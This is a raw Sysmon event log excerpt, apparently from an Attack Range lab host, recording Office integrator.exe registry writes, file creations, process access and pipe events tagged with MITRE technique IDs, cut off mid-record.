Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Internet Explorer\Extensions\{31D09BA0-12F5-4CCE-BE8A-2923E76605DA}\ButtonTextLync Click to Call 13241300x800000000000000041921Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.461{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{31D09BA0-12F5-4CCE-BE8A-2923E76605DA}\NoExplorer1 13241300x800000000000000041920Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.461{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{31D09BA0-12F5-4CCE-BE8A-2923E76605DA}\(Default)Lync Click to Call BHO 13241300x800000000000000041919Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.461{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Internet Explorer\Extensions\{31D09BA0-12F5-4CCE-BE8A-2923E76605DA}\Default VisibleYes 13241300x800000000000000041918Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.461{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Internet Explorer\Extensions\{31D09BA0-12F5-4CCE-BE8A-2923E76605DA}\ClsidExtension{31D09BA0-12F5-4CCE-BE8A-2923E76605DA} 13241300x800000000000000041917Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.461{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Internet Explorer\Extensions\{31D09BA0-12F5-4CCE-BE8A-2923E76605DA}\CLSID{1FBA04EE-3024-11d2-8F1F-0000F87ABD16} 13241300x800000000000000041916Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.461{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Internet Explorer\Extensions\{31D09BA0-12F5-4CCE-BE8A-2923E76605DA}\HotIconC:\Program Files\Microsoft Office\root\Office16\lync.exe,1 13241300x800000000000000041915Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.461{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Internet Explorer\Extensions\{31D09BA0-12F5-4CCE-BE8A-2923E76605DA}\IconC:\Program Files\Microsoft Office\root\Office16\lync.exe,1 13241300x800000000000000041914Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.461{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Internet Explorer\Extensions\{31D09BA0-12F5-4CCE-BE8A-2923E76605DA}\MenuTextLync Click to Call 13241300x800000000000000041913Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.461{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Internet Explorer\Extensions\{31D09BA0-12F5-4CCE-BE8A-2923E76605DA}\(Default)Lync Click to Call 13241300x800000000000000041912Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.461{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{31D09BA0-12F5-4CCE-BE8A-2923E76605DA}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\OCHelper.dll 13241300x800000000000000041911Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.461{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{10336656-40D7-4530-BCC0-86CD3D77D25F}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\Interceptor.dll 13241300x800000000000000041910Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.445{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{a6a2383f-ad50-4d52-8110-3508275e77f7}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\UCADDIN.DLL 13241300x800000000000000041909Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1137SetValue2021-09-10 14:44:10.445{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Office\Outlook\Addins\UCAddin.LyncAddin.1\LoadBehaviorDWORD (0x00000003) 13241300x800000000000000041908Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1137SetValue2021-09-10 14:44:10.445{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Office\Outlook\Addins\UCAddin.LyncAddin.1\FriendlyNameSkype Meeting Add-in for Microsoft Office 13241300x800000000000000041907Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1137SetValue2021-09-10 14:44:10.445{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Office\Outlook\Addins\UCAddin.LyncAddin.1\DescriptionSkype Meeting Add-in for Microsoft Office 13241300x800000000000000041906Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1137SetValue2021-09-10 14:44:10.445{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Office\Outlook\Addins\UCAddin.LyncAddin.1\FileNameC:\Program Files\Microsoft Office\root\Office16\UCADDIN.DLL 13241300x800000000000000041905Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1137SetValue2021-09-10 14:44:10.445{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Office\Outlook\Addins\UCAddin.UCAddin.1\LoadBehaviorDWORD (0x00000002) 13241300x800000000000000041904Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1183,IFEOSetValue2021-09-10 14:44:10.445{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lync.exe\MitigationOptionsQWORD (0x00000000-0x00000100) 10341000x800000000000000041903Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.445{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F3A-613B-C208-00000000F001}6492C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000041902Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:10.445{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\System\CurrentControlSet\Services\EventLog\Application\Lync\TypesSupportedDWORD (0x00000007) 13241300x800000000000000041901Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:10.445{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\System\CurrentControlSet\Services\EventLog\Application\Lync\EventMessageFileC:\Program Files\Microsoft Office\root\Office16\1033\UCCAPIRES.DLL 13241300x800000000000000041900Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:10.445{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\System\CurrentControlSet\Services\EventLog\Application\LyncPlatform\TypesSupportedDWORD (0x00000007) 13241300x800000000000000041899Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:10.445{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\System\CurrentControlSet\Services\EventLog\Application\LyncPlatform\EventMessageFileC:\Program Files\Microsoft Office\root\Office16\1033\LYNCDESKTOPRESOURCES.DLL 23542300x800000000000000041898Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.445{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\nslist.hxlMD5=3C52A876C703CFB4C3E80A1D3808C991,SHA256=BC56FC256A9FA5FC1E1417E99C7BAC244AACC52D387FF2004F5EF2884C70BCF0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041897Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.445{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\nslist.hxlMD5=3C52A876C703CFB4C3E80A1D3808C991,SHA256=BC56FC256A9FA5FC1E1417E99C7BAC244AACC52D387FF2004F5EF2884C70BCF0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041896Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.445{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\nslist.hxlMD5=3C52A876C703CFB4C3E80A1D3808C991,SHA256=BC56FC256A9FA5FC1E1417E99C7BAC244AACC52D387FF2004F5EF2884C70BCF0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041895Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.445{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\nslist.hxlMD5=3C52A876C703CFB4C3E80A1D3808C991,SHA256=BC56FC256A9FA5FC1E1417E99C7BAC244AACC52D387FF2004F5EF2884C70BCF0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041894Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.430{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\nslist.hxlMD5=3C52A876C703CFB4C3E80A1D3808C991,SHA256=BC56FC256A9FA5FC1E1417E99C7BAC244AACC52D387FF2004F5EF2884C70BCF0,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000041893Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.430{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F3A-613B-C208-00000000F001}6492C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041892Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.430{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3A-613B-C208-00000000F001}6492C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000041891Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.430{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\nslist.hxlMD5=3C52A876C703CFB4C3E80A1D3808C991,SHA256=BC56FC256A9FA5FC1E1417E99C7BAC244AACC52D387FF2004F5EF2884C70BCF0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041890Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.430{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\nslist.hxlMD5=3C52A876C703CFB4C3E80A1D3808C991,SHA256=BC56FC256A9FA5FC1E1417E99C7BAC244AACC52D387FF2004F5EF2884C70BCF0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041889Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.430{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\MS.SKYPEFB_ONLINEG.16.1033.hxnMD5=EB8D1A9F02473E82349B982211623AEB,SHA256=20EA1658D4F8D72A864B71E1A79C047FF6E8B182B86B1209055BDBD795D72AC9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041888Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.430{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\MS.SKYPEFB_ONLINE.16.1033.hxnMD5=8BB556B3B41764B345112BF6B34C830D,SHA256=4BADC5171A0E8ED329F43048D8C3D8AE46D970F3761606687610CB843075AE7C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041887Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.430{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\MS.SKYPEFB_BASIC.16.1033.hxnMD5=E9B3E1EEB6F63A2C9F87458BEBFEBD19,SHA256=16C5BDC611A8F15B92BBB0492D12A01E42DAEDEEF43CE5880E493B9635C6B81E,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000041886Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.430{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041885Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.430{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041884Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.430{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000041883Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.430{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\MS.SKYPEFB.16.1033.hxnMD5=499F0E84A4ADA1FA1C669B52E936FA02,SHA256=DE0A080BBBDEFAF390E455457D96366405C966F170BE78511C5D81A350802ED5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041882Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.414{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\MS.LYNC_ONLINE.16.1033.hxnMD5=EF7FCFA198BEA257EAA83BB3391003FC,SHA256=91CDFB27AD1473604C983CF4F7E30D56344070EB141C00387FDEE6B11C30DC48,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041881Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.414{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\MS.LYNC_BASIC.16.1033.hxnMD5=F62DB01B7C91048E4B72D6EBD50A315C,SHA256=74E608826022ADBD25CEB5A031AEE3847BDF9997442A14F49DDC40632A8AA254,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041880Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.398{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\MS.LYNC.16.1033.hxnMD5=94B6FE37D8F781EDCB35064ED18D24F4,SHA256=449AAC69FCCB0877B4F4BCD56E67B89063EA0143BB4B22C215267A4CACB30ECC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041879Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.398{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A287067C78C2390E5BCA7F0F83139B69,SHA256=647150116895C7220A9682374C5490DFCAB9F96142954DA9E26320AD083CB014,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000041878Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.398{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F3A-613B-C108-00000000F001}1552C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041877Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.383{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F3A-613B-C108-00000000F001}1552C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041876Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.383{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3A-613B-C108-00000000F001}1552C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 18141800x800000000000000041875Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.366{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041874Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.346{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F3A-613B-C008-00000000F001}5476C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041873Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.331{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}5476C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041872Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.331{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{00000000-0000-0000-0000-000000000000}5476C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df